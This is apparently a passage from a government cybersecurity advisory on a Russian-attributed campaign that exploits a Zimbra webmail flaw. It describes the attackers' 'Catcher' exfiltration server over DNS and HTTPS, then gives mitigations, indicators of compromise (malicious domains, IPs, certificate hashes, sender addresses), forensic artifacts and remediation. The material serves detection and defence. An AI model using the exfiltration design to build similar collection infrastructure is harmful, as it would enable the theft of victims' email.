<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
